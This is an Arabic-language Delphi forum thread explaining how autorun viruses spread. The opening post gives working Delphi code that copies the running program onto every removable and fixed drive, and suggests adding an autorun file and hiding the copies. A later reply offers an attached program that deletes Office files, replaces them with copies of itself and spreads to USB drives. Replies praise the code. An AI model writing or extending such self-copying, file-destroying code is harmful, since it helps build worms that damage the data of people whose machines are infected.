كيف تصيب فيروسات autorun الديسك والفلاش ميموري

[php3man]

بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته


فيروسات autorun كيف تصيب الديسك والفلاش ميموري

function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end;

داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string

في السطر الاول
app := application.ExeName;

مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي

procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end;

اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case

اوستدعينا الداله infect للاجراء flash

نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري

يمكن تطوره شوي من داله
WritePrivateProfileString

تضع ملف autorun تشغيل تلقائي

يمكن تطوره اكتر وباضافة داله
SetFileAttributes

لتخفي الملفات الناتجه

[kachwahed]

وعليكم السلام ورحمة الله
فكرة جميلة، يمكنك يفيدك هذا:
http://www.delphi4arab.com/forum/showthread.php?t=1528
ملاحظة: حاول أن تكتب عربي حتى يفهمك الجميع :)
بالتوفيق.

[amr-zaki]

ممتاز !
يعطيك الف عافية

[رمضان عون]

نشكر كل من ساهمة في هدا الموقع وجزاه الله عنا كل خير

[kachwahed]

فيروسات autorun
للتنبيه: ملف الإقلاع الذاتي Autorun.inf ليس Virus.

[issamdnn]

السلام عليكم ورحمة الله وبركاته...

الموضوع على ما يبدو رائع للتحدث حوله إليك هذه الوحدة اخي العزيز وهي مثال بسيط على برنامج يقوم بحذف كل ملفات الأوفيس وإستبدالها بملفات البرنامج نفسه يعني مثل الفيروسات تقريباً(بألية النسخ) يعني (عمل تخريبي) .... كما أنه يقوم بإكتشاف إدخال ال USB falsh memory ويقوم أيضاً بنسخ نفسه إلى الذاكرة المدخلة..... (لكن لا تعتبره فيروس فهو ليس كذلك) ويمكن وضع مسار الملف ضمن ال inf الخاص بالفلاش مما يسمح بتشغيل البرنامج السابق مباشرة عند إقلاع الفلاش ميموري...


تحياتي للجميع : الملف في المرفقات .